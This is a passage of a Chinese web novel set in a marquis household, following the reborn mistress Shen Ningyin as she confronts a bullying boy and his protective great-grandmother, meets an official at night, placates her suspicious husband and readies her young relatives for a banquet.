沈宁音蹙眉，她蓦地反应过来是谁了，但她想不明白南烛为何三缄其口替秦齐遮掩。
沈宁音拉着他往自个儿屋里去，又吩咐着春渠与兰香去准备炭盆、热水和找些换洗衣裳。
沈宁音沉思良久，她知道秦齐恶劣，却没防着他这般恶劣。
南烛等暖和就走来道谢，小孩子看起来蔫蔫的，又有几分拘谨。
沈宁音垂眸看他，突然道：“明儿我就派人送你回去。”
南烛一下子惊慌失措抬头。
沈宁音伸手摸了摸南烛的断发。沈宁音的确是想通过南烛来对比打压一下秦齐的气焰，可这对南烛并不公平，若是因南烛的事开罪薛岚，实在得不偿失。但更多的，是她不想叫不相干的孩子卷入危险。
“就这么定了，放心，秦齐那，我会给你个交代。”
南烛却更慌了，抓着她的手不放：“别……我不走。”
沈宁音耐心道：“若你受了欺负只会三缄其口，留下来，对你没好处。”秦齐如今都能做到这地步，南烛的退让遮掩只会让秦齐变本加厉，往后只会更糟糕。
人是沈宁音带回来的，她便有责任。但作为一府主母，沈宁音有许多事要操持，一天两天紧盯着还成，等日子久了，难免没有疏漏的时候。
但凡南烛有个闪失，沈宁音拿什么赔薛岚？
沈宁音就只是个俗人，没有多么高尚的情操。趋利避害是人的天性。
“我不是不敢说。”南烛低下头：“我只是个借住的，我怕我那么做以后，你会为难。毕竟秦齐是侯府里的孩子……”
沈宁音也知他的顾虑，叹了一息，语气温柔：“那你回梧桐街去，莫叫你阿娘记挂才是。这有何不好？”
南烛摇了摇头，沈宁音发现地上一滴一滴出现突兀的水迹，南烛的拳头攥得用力，是他在哭：“其实当初，阿娘说我再不能念书了。可是阿娘也说过，我那爹爹学问极好，我就想，若我能好好念书，将来高中，爹爹一高兴，或许便会来接我与阿娘了。”他声音里的颤抖越发强烈：“……我想念书！”
沈宁音沉默着。
南烛年岁还小，并不明白谋逆是个什么罪状。这是连大赦天下都不能赦免的罪，唯有平反方能恢复的罪。
圣朝从未有过这种罪平反的先例。
他学问再好，这辈子也注定跟科举无缘了。
沈宁音抓着小孩子的手，柔声说着善意的谎言：“会好起来的。”
南烛露出带泪笑容的时候，沈宁音想起前世曾经兢兢业业操持冷家时，她那些养尊处优，占尽好处的庶子们，他们哪用这般懂事、这般忍耐？可是他们个个都不念着自己的好，恨了自己一辈子。而南烛这个毫不相干的孩子，自己仅仅是打算给他一个机会，他便愿意替自己着想，愿意忍耐。
他是个心性好的。
一股强烈的心疼与柔软自心间弥漫来，沈宁音不是个心软的人，可是她握紧孩子的手腕时却改了主意。
“我答应你，不走，让你念书。”
沈宁音说完这句，南烛眼里的亮色在漆黑的瞳仁间忽闪。沈宁音紧接着又道：“但你也要应我一件事。”
南烛认真颔首：“二少夫人请说。”
沈宁音伸手轻抚南烛的头发：“以后不必再忍，他若欺到你头上
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，你只管揍回去，出了事，我替你兜着。”
南烛犹豫着小声问：“少夫人当真不介意？”
“不介意，他又与我不相干。”沈宁音笑着道：“往后在府中，你便唤我一声表姑母，你若怕了秦齐，来回我，我替你做主。”莫说秦齐不是自己亲生、还有那样的出身，便是亲生子，沈宁音也忍不得他这样作践人。
南烛接过沈宁音递来的帕子擦干净眼泪，再望过来时，眼神坚毅，已恢复了往日小大人的沉稳神采：“既如此，也不必表姑母动手，我自有法子应对。”
沈宁音虽不信他真这么厉害，但也是点头。
南烛的头发被剪得零碎，委实不能看，沈宁音便找人寻了些假发来，真真假假编在一起，蘸着刨花水一抿，不细看倒也没那么显眼。
为了避免以后再发生这种事，沈宁音还特特交代了一下沈玉珠。
如今的秦齐是住在松鹤堂的。堂屋里，秦齐爬上老夫人的椅子给老夫人捏肩：“祖奶奶，可舒坦？”
“舒坦，很舒坦。”小孩儿的手劲儿哪有做惯了的丫鬟们好，但老夫人委实也很高兴。
从前的秦齐不闯祸就不错了，天天玩到很迟才肯安静，偏偏今天分外乖巧，早早就过来老夫人膝下尽孝了。
老夫人与松鹤堂众人并未多怀疑，只将缘故归为马上要念书了，
没过多久，外头传来丫鬟的声音：“二少夫人来了。”
老夫人听罢眉头微蹙：“让她进来。”
沈宁音绕过屏风，老夫人却注意到，沈宁音将目光第一个看向的，是秦齐。
老夫人不动声色地坐直了身子：“何事？”
“回祖母，是来找齐哥儿的。”沈宁音垂眸。
这一下，无妨沈宁音怎样遮掩，秦齐都感觉一阵子如芒在背。他下意识地靠近了老夫人。
101. 算账
老夫人蹙眉，她自然瞧出了重孙儿的异常，老夫人将秦齐拦在后头的反应几乎是下意识的。
“哥儿好好儿的在这儿玩，你这是做什么？”
秦齐听着老夫人维护的话，委屈巴巴地靠在老夫人的身后：“祖奶奶，她是个坏女人，她定是要打人。”
老夫人闻言，将小重孙抱在怀里，一副保护的姿态，笑着轻拍他的背脊：“怎么会呢？她是你的长辈，岂能舍得打你？”
沈宁音听着老夫人的话，知道她是故意说给自己听的，也不恼，就站在那不走，一双眼睛似笑非笑看着秦齐。
小孩子无妨心思多么纯粹的，对目光这种本能的东西最是敏感，尤其是秦齐被纵容着长大的，唯一一个敢真对他下手掐的就是沈宁音这个“坏女人”，秦齐最厌恨她，只在旁人看不见的角度冲着沈宁音挑衅做鬼脸。
秦齐死死抱着老夫人不撒手，一副很害怕的样子。
老夫人暗示得很明显了，她寻思着若是知情识趣儿的，这会子也该告辞了。
可她久等不来沈宁音的声音，老夫人不禁蹙紧了眉头：“宁音，你这是作甚？齐哥儿还是个孩子，无妨他做了什么错事招惹了你，你这个做叔母的也该大人大量才是，难不成还真要同他计较？”
“宁音不敢。”沈宁音嘴里说着不敢，盯着秦齐的目光依旧泛着冷。
“孙媳只是要个公道。”
这时，外头传来一阵私语声音。松鹤堂规矩严，若非实在离谱的，没人敢冒着大不韪自讨板子。
“什么公道不公道的？”老夫人蹙紧眉，抱着秦齐的老手又紧了几分：“有什么事儿你跟我说，你别当着孩子说？”
老夫人招手命方嬷嬷把人带下去。
“慢着。”沈宁音目光看过去：“齐哥儿不能走，我还有事儿。”
老夫人怒了：“沈宁音！”她抓着佛珠站起身，深重的积威下，屋子里所有人都战战兢兢，胆小的丫鬟已经跪了下去，连齐哥儿都吓得不敢开腔，老夫人怒拍了桌子：“当时是你自个儿不肯教养齐哥儿，给安排来我这，怎么现在后悔了？”
老夫人此刻的声势的确吓人，换了谁都得慌，但沈宁音不同，她前世也是做了好些年主母的，于她而言不过是小场面。
沈宁音拉着百迭裙跪了下去，声音一如既往的软和温柔不见慌乱，像是把生锈的刀子，虽顿，却刀刀能割肉：“祖母这么说，是要拿孙媳当外人发落么？”
“你胡说八道什么？”老夫人一时闹不清她葫芦里卖的什么药。
沈宁音抬起头：“那好，既然妾身不是外人，那妾身就找老夫人评评理来。”
“我待世子体贴周到，虽算不得什么如胶似漆，却也相敬如宾。”沈宁音语调悲怆起来，还拿帕子按了按眼角：“可妾身亲戚的孩子在我们家也是个宝贝疙瘩，受不得欺负的。”
老夫人皱紧眉，她刚想问谁欺负了那孩子，突然脑海里灵光一闪，惊疑不定地朝齐哥儿看过去，孩子目光躲闪，用力抱紧了老夫人的胳膊。
老夫人什么都明白了，脸色一时难看起来。
沈宁音瞧着她的脸，心下冷笑，老夫人的心思沈宁音自不会误会，侯府难得有个男丁，秦齐背后还是周家那样出了宠妃的世家，她便是怒也怒的是沈宁音小题大做。
果然，老夫人皮笑肉不笑：“哥儿们是男丁，还小，开点玩笑无伤大雅，哪里用得着上纲上线的？这事儿以后不会再发生，大家和和气气的，就这么算了。”
算了？沈宁音权当自个儿没眼色，左右她也不是来和和气气谈话的，她索性站起身盯着秦齐道：“妾身也要求不多，既然都是一家人，他怎么对烛哥儿，妾身便只要他原样受一遍。”
不等老夫人有说法，沈宁音拔高声气儿：“来人，拿东西上来。”
很快，一股子恶臭从外头弥漫进来。
老夫人胃里翻涌，连忙捂着口鼻，她身后的衣裳给秦齐拉得一沉：“不要！祖奶奶救我！”
秦齐的小脸惊慌，眼泪要掉不掉的，是要暴哭的前奏。老夫人赶忙抱住他。
“你这是做什么？”老夫人闻着味道几乎都要呕出来：“什么脏东西拿进来？呕……呕……还不快提出去！”
沈宁音目光凛冽，转头佯作训斥：“兰香，你把粪水提进来做什么？多不成体统？还不快往外提？”
兰香手里是个粪桶，桶边沿还挂着点金汁，而春渠手里则拿着个剪刀。
兰香哦了一声，捏着鼻子退出去，穿堂风一吹，那骨子恶臭味道也散了些，但余威也蛮大的。熏得老夫人脑子里一阵阵发晕。
春渠摸着手里的剪刀跃跃欲试，一脸兴奋。
秦齐惊恐地哭了出来：“走开！走开！哇呜呜呜！”
“干什么？！快拿开！吓着孩子！”老夫人连忙抱着重孙儿的头怒不可遏。”
沈宁音语调不疾不徐：“齐哥儿做过什么自己清楚。”
秦齐苍白着小脸，却是梗着脖子高声道：“我没有！”又抱着老夫人的脖子哭着道：“坏女人冤枉我！祖奶奶你打死她！”
“好好好，别哭别哭。”老夫人一面哄着一面叫了方嬷嬷跟几个壮实的婆子要把人带走，沈宁音便横跨两步作势拦着。
沈宁音嫁到侯府这么多天，也有了一定的地位，无妨人们对她如何不齿、如何厌烦，可也是下面人不敢随便儿惹的。
既带不出去，秦齐便被带去了里屋。
老夫人是打定了主意不交人，她这会儿像是个护犊子的老母鸡：“要反了是
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不？！”
沈宁音也没想硬闯，只道：“孙媳不敢。”
“你不敢？粪水都拉到长辈屋子里来了！还有这剪刀！你拿剪刀做什么？！要伤人么？”老夫人拍着桌子怒斥：“再怎么说齐哥儿姓秦！你家那小子只是个外姓！们侍郎府是怎么教养女儿的！？”
老夫人这话已经很言重了，沈宁音不卑不亢连眼都没眨一下，脸上笑容疏离：“祖母息怒，妾身分得清，左右府里都不是咱们一脉的哥儿，咱们侯府一脉单传，夫君如今也没有兄弟姊妹，我这个做长辈的，也是要一碗水端平的，总不能厚此薄彼。”
“祖母觉着呢？”
老夫人冷冷瞥她，鼻间哼了一声：“我不管！我不可能让你对齐哥儿乱来！”
沈宁音脸上写满了失望：“祖母，您要知晓，孙媳先前也是瞧着您喜欢齐哥儿，这才安排他来松鹤堂的。”她故意顿了顿，蹙紧眉：“若是祖母眼下改了主意，妾身带回去发落就是。可不能这般偏心。”
“人有亲疏远近！”老夫人咬牙瞪着沈宁音：“我瞧着你是个懂事的，可如今竟这般没轻没重，实在不像话！”
老夫人一声令下，叫人将沈宁音送回去。
“祖母，您就不问问齐哥儿做了些什么？”沈宁音似是不甘心。
几个婆子拉着她往外头去，春渠想动作，这丫头是个虎的，为防她做出什么过激的事情，沈宁音连忙暗中拉住她的手腕，冲闭着眼睛的老夫人红着眼睛喊道：“祖母，齐哥儿剪了烛哥儿的头发，还……”
“够了！”老夫人皱眉并没有睁开眼，佛珠却是拨得飞快：“我看你是偏听偏信，齐哥儿不可能做这种事！”
少顷，沈宁音与春渠被人给推了出去。
沈宁音稍稍喊了两嗓子，便也“不得不”转身离开，等出了院子，她那满是失望的脸瞬间恢复了冷静，她抬手，拿指腹擦去眼角的湿润。
“少夫人，那粪水还要么？”兰香捂着鼻子跑过来问。
沈宁音看了一眼院子里的恭桶，余光扫视四周瞧热闹的丫鬟婆子，这些人尽都指指点点站得远远儿地。
“拿去施肥浇花，别浪费了。”
“是。”兰香去吩咐人了，春渠陪着沈宁音，刚出院门，就瞧见秦耀阳匆匆过来。
沈宁音倒是没想到这男人消息挺灵通的。
“宁音？”秦耀阳见她看过来，连忙赶了几步。
沈宁音权当没瞧见，表情委屈地扭头就朝祁秀院去。
秦耀阳一时有点懵，他见状连忙拦着落在后头的兰香，一靠近，秦耀阳就捂着鼻子，高门侯府的大丫鬟身上竟然有恭桶的臭味，秦耀阳是没料到的。
但他也顾不上旁的，开口问：“这是怎么的？你们少夫人遇着何事了？”
102. 惊吓
沈宁音远远儿地看见兰香同秦耀阳说话，只说了几句，男人就匆匆忙忙往松鹤堂去了。
等兰香赶过来，道：“少夫人，二爷说他会去处置的。”她笑着又开口：“世子心里是有少夫人的。”
沈宁音又回头看了一眼，眼里毫无波澜：“你是头一天知晓世子爷？”
兰香笑容一滞，愣在当场。沈宁音已经转身往祁秀院走：“这男人靠不住的，若要给烛哥儿出气，还得靠咱们自己。”
沈宁音一语成谶，到了傍晚，她正教沈玉珠绣花儿，忽有小丫鬟来禀告：“二爷来了。”
头也没抬，沈宁音淡声问：“是他一个人来，还是带了齐哥儿？”
丫鬟不明所以，老老实实道：“就二爷一人。”
沈宁音语调很轻：“就说我歇下了，叫他改日过来。”又吩咐人照旧闩上了门。
“姑姑。”沈玉珠有些局促地站起来：“姑爷是想进来睡觉么？要不我去住厢房吧？”
“与你不相干。”沈宁音笑着轻抚小姑娘柔顺的发：“你先睡，明儿还要早起，姑姑找人给你教一教礼仪规矩。”
沈宁音哄着沈玉珠睡熟，这才起身拿着铜勺灭灯烛，可下一瞬，还没等她动手，那火焰就突兀地灭掉了。
直觉让沈宁音一下子就感受到了窗外有人。她本能地望了过去。但见窗子上现出一个男人的剪影。
“姑姑，怎么了？”床帘后传来沈玉珠软糯的声音。沈宁音深吸一口气，用平静的语气道：“姑姑有点事，出去一趟，马上回来。”
“哦。”小姑娘很安心，乖巧地睡去了。
沈宁音走出房间，看见兰香与春渠都趴在桌子上，她警惕地上前探了探脉搏，只觉得劲如松柏，并没有大碍。
松了口气之余，沈宁音转身将门拉上，月光稀薄，廊檐下的灯笼在夜风中摇晃，于地上投出片片斑驳的光影。而这光影里，赫然立着一个高大的身影。
“一个时辰，她们会醒。”来人声音冷淡低沉，带着点天生的沙哑。
沈宁音看不清人，只是猜测，但听见他说话，沈宁音便确定了。
“这里不是说话的地方。”沈宁音转身往厢房：“跟我来。”
薛岚来得很不凑巧，房间里还有个沈玉珠。沈宁音并不希望叫家中小辈瞧见这等私会的场面，没得失了好名声。
挑了个空房间，沈宁音薛岚相对而坐，两个人隔着桌案，桌上的烛火将二人的影子往两边拉得极长。
薛岚少言寡语的，还是沈宁音先开了口，她没好气道：“薛大人，我侯府的门墙翻起来是越发熟稔了？”
沈宁音脱口而出后，又有些后悔，自个儿还有求于他，若当真惹恼对方，那岂不是没得谈了？
好在薛岚似乎并没在意，直言：“柳颂文已经没事了。”
柳颂文是柳太医的名字，沈宁音听到这消息有些难以置信，她没想到这么顺利！
自己与薛岚的交集并不多，他后台硬，皇城司名声不好，但他地位高啊！自己同他求了柳太医的事儿，他竟真的肯放人了？
沈宁音都要怀疑这人是不是对侯府有所图谋。
但怀疑归怀疑，该摆的姿态也是要摆足的，。沈宁音笑着起身殷勤地将茶盏翻开，给他倒了一杯凉茶，温声奉过去：“那就多谢薛大人手下留情了。”
薛岚垂眸，打量着面前的茶水，却是没动。
沈宁音也终于注意到男人今日的不同来，她微瞠眼眸：“薛大人，您的脸……”
今日薛岚并没有戴着那面骇人的金属面具，脸上戴着的是半片白色的假面，遮掩着他左边脸部。
因离得近，沈宁音还能看出他脸上露出的皮肤置丝毫不显粗糙，是与其身形与嗓音极不相称的细腻冷白。
薛岚立
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时坐直了身子，他微微偏头，并不看沈宁音，只道：“你也不必谢，全赖他还有点用。不过……”
男人话锋一转，沈宁音心下又紧张起来。
薛岚道：“他目下还不能放，本官留着他还有用。”
“你想留着他治您的脸？”沈宁音直言。
薛岚没有否认：“除了这个，还有别的用处。”他伸手从怀里拿出个小巧的玉坠子扔到桌上：“这个交给南烛。”
沈宁音拿起来打量，这玉坠小巧，但质地清濯，料子极好。她正端瞧，又听男人接着道：“就说这是他父亲的东西。”
“我明白了。”沈宁音收好东西，薛岚已经起身，她连忙问：“你不见一见南烛？”
沈宁音看得出来，这个冷冰冰的男人是很在意那小子的。但她询问，却不是为着他着想。
南烛这回是给人欺负狠了的，沈宁音是怕极了这个活阎王爆发的。以皇城司的手段，他想打听事情便一定能打听到。
与其让他发现后来侯府发疯，还不如主动说破，至少自己在现场的话，还可能将事态摁牢在自个儿可控范围内。
薛岚半边脸上的浓眉微蹙，那双凶戾的眼眸在沈宁音身上扫了一圈儿，愣是将她的心搅得分外忐忑。
“不用。”薛岚的薄唇内终于突出来这两个字。
沈宁音心情大松之际，又劝了一句：“要不还是见一见吧？来都来了。”
薛岚抬腿就往外走，沈宁音莫名觉着，他像是在躲什么。
直到他走出门，沈宁音才长长地舒了口气。
此时此刻，紧绷的心情沉静下来，压抑着的困意就层层上涌，占领意识高地。
沈宁音打了个呵欠，正准备回房睡觉。刚推开门，突然感觉眼前光影黑黯。
一个人就站在门口，逆着光。
“宁音。”这一声，让沈宁音心中惊吓。
103. 情贱
“世子，你怎么来了？”沈宁音攥紧帕子。
秦耀阳却没马上答话，他几步跨入了厢房房间，一面在各处能藏人的地方搜寻，一面沉声道：“天都黑了，我看这儿亮着灯，你在做什么？”
沈宁音看着他的表现，心念也从忐忑恢复了镇定，她站在屋子中间，看着他搜，温声音笑道：“收拾下屋子。”
秦耀阳没搜到什么，蹙眉盯着她：“收拾屋子做什么？再说了，你即便要收拾，又何必亲自动手？叫下人们收拾就好。”
沈宁音垂眸，不动声色地拿起茶水倾覆在一旁的花盆里：“是给烛哥儿备着的休息房，他年岁小，交给旁人照看我不放心。别人收拾，也不及我仔细。”
秦耀阳张嘴欲说什么，但他一下子想到了那日厨房讨夜宵的事儿。
沈宁音明面儿上是侯府的主母，怕她的人是多，可要掌控家族，恨她的人只会更多。交给下人的确有可能阳奉阴违。
想到这儿，秦耀阳的脸色和缓了许多：“罢了，只是天气冷，尤其是晚上，你怎么不白天做这个？”
他走得近了，看着他脸上担忧的表情，沈宁音微笑道：“只是临时想起来的，心里装着事儿，若是不稍微收拣一下，今晚怕是要失眠的。”
秦耀阳便也没有追问。
“世子方才是在找什么呢？”沈宁音故作惊讶。
“没什么。”秦耀阳摸了摸鼻子，有些不自在。沈宁音没回应，秦耀阳便走过去拉着她的柔荑：“宁音，我这不是看你生气了，打算来哄一哄你么？”
沈宁音想抽回手，没抽的动，便也由着他拉着：“世子来哄我作甚？妾身也没生气。”
可以瞧得出，秦耀阳极少哄人，大约所有哄女人的手段都是从周婉那儿练来的。
但周婉吃这一套，沈宁音却并不吃。迟来的情谊比草贱，更何况他还没有半点诚心。
“宁音，你就别气了，齐哥儿我已经叫祖母狠狠罚他了，包管叫他知错，烛哥儿那里，多给点补偿，这事儿也就过去了。”
沈宁音瞥了他一眼，挣脱了手上的钳制，背过身去：“齐哥儿有祖母偏袒他，如今连你也偏袒了是不？”
“没有的事。”秦耀阳绕到她跟前，道：“小孩子顽皮，没个轻重，祖母到底心疼自家子侄。”
“是，南烛也是妾身的子侄，合该妾身自己心疼。”沈宁音转身要走，冷不丁身上的玉佩掉了出来。
这一瞬间，她眼疾口快，飞速将蜡烛吹灭。
沈宁音弯腰去捡玉佩——“什么东西掉了。”秦耀阳眼尖，抬手也过来拿。
但好在黑灯瞎火的，沈宁音快他一步：“寻常配饰罢了，世子若要，我明儿给你重新买个。”
黑暗中，男人一时沉默：“那我要这个。”
沈宁音听着他语气不快，当下也隐约明白了他怕是有点儿疑了自己。
当一个人暗地里做了什么亏心事，便会对这种事情分外敏感，揣度着别人也会对自己做同样的事。
沈宁音知道，依着秦耀阳的性子，倘使不给他将疑虑打消，他会猜疑起来没就完美了。
“怎么？这个不能给？”秦耀阳的语气又沉了几分，像是抓着了奸情的样子。
沈宁音叹了口气，道：“这东西是给烛哥儿的，你要同小孩儿抢？”
“当真？”秦耀阳显然不信。沈宁音也不再解释，男人先入为主之后，你解释再多，也只会越描越黑。
“我明日就给烛哥儿。”沈宁音转身出房间：“世子若不信，便先歇下，你明儿想要，只管找小孩子去讨。”
沈宁音这么说了之后，秦耀阳果然没走，他就在厢房里将就了一夜。
翌日清晨。
等看见沈宁音果然将一个小巧的玉佩交给烛哥儿，他这才后知后觉地有了几分后悔。
“宁音，是我误会了……”秦耀阳连声音都柔了几分：“看在我昨儿翻墙辛苦，你别气了。”
沈宁音眼都没抬：“妾身哪有资格生气？左右妾身在这个府里做什么都是错的。”
“宁音，我不是那个意思。”秦耀阳还想再说点
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儿什么，但沈宁音不想听了，关上门将男人推出了祁秀院。
沈宁音只觉脑仁儿疼，秦耀阳最近真真是不对劲，想要情情爱爱的女人多的是，后院儿就有俩，他偏爱上往祁秀院跑。
“少夫人……”兰香过来禀告，沈宁音蹙紧眉：“他是又回来了？”语气很轻，透着厌烦与无奈。
“是奴婢回来了。”一只素手掀开了帘子。
沈宁音抬眼去瞧，见是染竹。
因好几日不见，小丫鬟连模样都变了，一双翦水秋瞳里盛满了疲惫，血色都少了，苍白的脸上，皮肤仿佛都粗糙了几分。
沈宁音转眸看了眼兰香，兰香也看了过来。两人都从彼此眼中看出了惊诧。
兰香比较心直口快，又自认为跟染竹熟稔，就开口问询：“染竹，家中可是发生了什么事儿？”
染竹闻言，垂下眼眸，神色里带着担忧：“母亲病了，染了风寒。”
沈宁音听到这，反而松了口气，她委实怕自己算错了时间。
前世，染竹娘就是在这场风寒之后一直没能断根，后来才会多次复发、药石无灵。
沈宁音松了口气，从前她是自身难保，在侍郎府里处境艰难，而今，她对丫鬟们时不时就有赏赐。这回她给了染竹二十两银，治个风寒应该还有剩余。便是花用上好的药材，有不足数的，染竹拿之前赏的东西也是够的。
“回来就回来吧。”沈宁音笑着让染竹坐，她以为染竹如今的神色只是因为牵挂家里，所以也没多问，只安抚了几句。
时间一天一天过去，侯府内除了沈家几个姑娘时不时闹点儿矛盾外，倒也没什么大事。
老夫人不待见沈宁音，她便也不去讨嫌，闵氏这两日也有几个小辈过来拜访，便也免了晨昏定省。
沈宁音并未掺和沈家姐妹与闵家小姐们的事儿。眼瞧着第二日就是柔福长公主办的赏菊宴了，沈宁音便是在好好筹备着。
沈玉珠头一遭上宴会，沈宁音虽不认为她能得个不错的亲事，但隆重些，说不得会有好运气呢？
104. 称病
沈宁音料想得不错。老夫人看似是个顾大局识大体的，确实接了帖子今年要去赏菊宴，可真到了时候，她也是真能高高挂起的。
“怎么这样啊？”沈含鸢与沈弦思对视一眼，两人脸上都露出着急来。
一旁的沈引章捏着帕子往松鹤堂张望，听着两个姐姐在那长吁短叹的。
沈弦思眉头皱得死紧，现场的几个未出阁的姑娘家，无妨闵家还是沈家的，最着急的就数她。
沈含鸢喃喃道：“老太君怎的偏这会儿病了呢？”
松鹤堂中午传来的消息，老夫人病倒了，没有了她引着，侯府在赏菊宴的地位几乎下降了一个档次。
“哎，还是弦思姑娘好啊，一早定下了亲事，这回去也就是玩一玩，长长见闻。我们可就不同了。”闵家二姑娘说话的时候眼睛里带着点讨好。
闵二姑娘是真心这么觉着的，毕竟侍郎府的门楣不低，又是文官，不似闵家这样的行伍出身，地位也并不高。
可沈弦思笑不出来，她未婚失身，而且还是在那样简陋的地方，在她心里是十足的憋闷屈辱，心里十分不快。又觉旁人都在瞧她的笑话。
闵二姑娘是闵家嫡出，颜色最好，侯夫人闵氏也最疼她，民二姑娘再生硬的讨好，那也是难得的，可偏热脸贴上了冷屁股，她一时间也有点下不来台。
好在这时，远远儿地过来一个人。
秦耀阳从游廊折过来，人还没到，可那玉树临风的矜贵姿态已然深入众人心中。
女儿家个顶个的都看得羞红了脸。
秦耀阳今日穿着的是团绣大红绸衣，越发衬得他眉目浓俊。
沈弦思呆呆地看着这个比自己大上十来岁的俊美男人走到自个儿跟前，然后垂眸看向了自己。
沈弦思指尖微颤，连呼吸都有些小心翼翼地局促。
秦耀阳皱紧眉头，很有些不解，周遭众人见自己要进松鹤堂都是让出了道路，偏眼前之人挡在中间。
“……弦思妹妹？”秦耀阳开口。
这一声妹妹叫沈弦思心脏都酥了几分，她红着脸：“世、世子爷。”
众人都看得尴尬了，沈引章连忙走上前去打招呼：“姐夫。”又拉了拉沈弦思的袖子。
沈弦思不耐烦地皱眉看向妹妹：“你干嘛？”
秦耀阳轻笑着化解尴尬，只问：“你们可见着宁音了？”
众女都默不作声，沈弦思脸色一下子从希冀化作了幽怨。
沈宁音！又是沈宁音！她到底哪一点比不过那个女人？
下一刹，里头撩帘子走出来几个人。沈弦思看见面前高大俊美的男人眼眸一下子就亮了。
秦耀阳毫不避讳地绕过了沈弦思，迎着沈宁音就走过去了。
“宁音。”
沈宁音抬眸看见秦耀阳，也看着了门口那一群莺莺燕燕，沈宁音脸上是恰到好处的微笑：“世子，祖母病得似乎不轻。”
“哦？”秦耀阳想拉着妻子的手，但伸到一半，又觉着人多不便，只道：“是什么病？”
沈宁音摇摇头，语调温婉：“妾身不是郎中，不过，说是已经找大夫看过，要歇息几日。世子进去看看吧。”
秦耀阳松了口气，笑容温柔：“好，我迟些再去看你。”
沈宁音点点头，也没多话。
两人就这么点儿互动，却是羡慕坏了一众女眷。
昌平侯世子宠妻的事儿早就在上京城传得沸沸扬扬。自有那许多姑娘心里眼里都是羡慕。
“秦世子真是个好夫君，这么疼夫人。”
“可不是么？成婚前后宅干干净净，连个通房都没有，这在上京城简直不敢想象。”
议论声传进了沈弦思耳朵里，她眼里隐约蹿出火来。她喜欢冷元景，青梅竹马的感情。可她同样虚荣,她可以义无反顾要嫁给竹马，可不代表她愿意在那样腌臜的地方将自己给了冷元景。
她是不忿的，委屈的，这几日都没有给冷元景好脸色。
与此同时，在沈弦思的念头里面秦耀阳也是她的，是她亲生父母给她定的夫君。
若这个男人是个又老又胖的男人便罢了，如今偏偏是这样一个龙章凤姿还疼爱妻子的男人，那么她可以不要，可不代表能容忍别人染指。尤其这个人还是那个占据她人生十五年的贱女人沈宁音。
“都给我闭嘴！”沈弦思突
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然低吼出声。
等她反应过来的时候，发现所有人都看向了自己。
空气一时沉寂。
沈宁音见沈弦思满脸不忿的眼神，弯唇浅笑：“妹妹可是哪里不舒服？”
沈引章连忙上前拉着沈弦思，转移话题道：“二姐姐，老太君如何了？”
沈宁音见多识广，哪里猜不出沈弦思的奇葩心思？当下也没戳破，顺坡下驴苦笑着道：“想来是不容乐观的，明儿的赏花宴老太君去不得了。”
在场众人眼底都流露出失望的神色来。但大家心里其实也都有所准备。
秦家没有女儿，唯一的独子秦耀阳也已经成亲，老夫人不去也在情理之中。
“那这次赏菊宴怎么办？”沈含鸢脸上尽是焦急：“老太君若不去，难道咱们学规矩就都白学了？！”
沈含鸢的话一时间引来注目。
沈宁音脸上的笑容收敛：“含鸢，你怎么说话的？我看你规矩的确白学了，长辈岂是你能说嘴的？”
沈含鸢对沈宁音很不服气，从前沈宁音是不受宠的弃子，再后来，甚至都不是沈家的孩子，如今被沈宁音当着这么多人的面训斥，沈含鸢气得想顶嘴。
最后，还是沈引章拉着她，替她道歉。
沈宁音将一府主母的姿态做足，因着沈家到底是娘家，她也没同沈含鸢计较，开口道：“老太君病了，明日应不可能领着咱们去赏菊宴了。”
目光从一众女娘身上扫过，笑着道：“不过大家不必担忧，有我与侯夫人跟你们一道去。”
众人虽松了口气，但大多数人还是有几分忐忑。
闵氏是侯夫人，但出身低，母家父兄都没摸到五品官身的门槛，放在赏菊宴那样的地方根本不够看。
而沈宁音年纪小，和一众夫人坐在一起，众人都怕撑不住场面。
但眼下老夫人不能去，这样安排也能算得上是目前最好的结果了。
“你这是什么？”突然，沈含鸢皱紧眉头，死死盯着沈玉珠。
沈宁音转眸，就看见沈含鸢将沈玉珠头上的珍珠步摇抓在手里。
沈玉珠眼圈有些红，却是倔强地盯着沈含鸢。
105. 乱事
沈玉珠的头上有几缕乱发垂落在肩膀，头上成对的珍珠步摇少了一支，此刻就攥在沈含鸢的掌心里。
“你还给我！”沈玉珠眉头紧皱，眼里是委屈和愤怒。她冲上去想抢回来，但她身量矮，沈含鸢将珍珠步摇高举着，她便怎么都够不着了。
“还你？这可是南珠！价值不菲，你哪儿来的？莫不是手脚不干净从家里偷的吧？”
圣朝富庶，但海珍珠却是十分稀有，尤其南海出的珍珠，更大，色泽也比寻常珍珠莹润许多，辨认起来极其容易。
沈家清贵，本就不是奢豪家族，南珠的首饰很是难得，这两支步摇恰好曾经在某次宴会时，沈夫人戴出来过。沈家姐妹当时都已经记事，所以沈含鸢记忆深刻。
“你胡说！”沈玉珠急红了脸，愤愤道：“我没偷！”
“没偷那东西是哪儿来的！？这明明是母亲的东西！”沈含鸢觉得东西是沈夫人的，自己是沈夫人亲生女儿，没有人比她更有资格拿这件头面了。沈含鸢将步摇攥紧，伸手要去拔沈玉珠头上的另一支。
沈玉珠惊叫一声捂着头发不让她动。
两个小姑娘扭在一处，分外难看，侯府下人们、闵家姑娘们都站在旁边儿看着她们出丑。
沈引章只觉得丢脸非常，六神无主地看向这儿的主心骨——沈宁音。
“含鸢，还不住手！”沈宁音面沉如水，她一开口，四周的窃窃私语不由得一静。可沈含鸢本就看沈玉珠不顺眼，这会儿见她衣裳、首饰都高出众姐妹一筹，眼红之下，只盼着能叫沈玉珠跌入尘埃去。
沈含鸢这般没眼色，沈宁音眼底隐约有几分恼，冲一旁春渠使了个眼色，春渠便上前捏住了沈含鸢的手腕。
“啊！”沈含鸢吃痛，只得松开了手，她红着眼睛蹬春渠：“狗奴才，你做什么！？你想捏断我的手么？”
春渠毫无波澜的表情在听见她说“捏断手”的瞬间有几丝兴奋，这细微的诡异神色终于将有些疯魔的沈含鸢吓得清醒了些。
沈含鸢转头，看见沈玉珠扑在沈宁音怀里哭。
见沈宁音冷冷淡淡瞥向自己，沈含鸢没来由地打了个寒蝉，她下意识后退了半步，捏着珍珠步摇的指节泛白，半晌，沈含鸢梗着脖子道：“看我做什么？她手脚不干净偷东西！如今人赃并获，还有什么好委屈的？”
沈玉珠哭得更凶了，委屈地看向沈宁音：“姑姑。”
沈宁音拍了拍她的后背安抚，看向沈含鸢道：“含鸢，你凭什么说这珍珠步摇是偷的？”
沈含鸢并不怵，便将东西的来历讲了一遍。又拉着沈弦思道：“弦思，你虽没见过这珍珠步摇，你看她发间的红宝石插梳，那是你刚回府邸的时候母亲戴过的，是不是？”
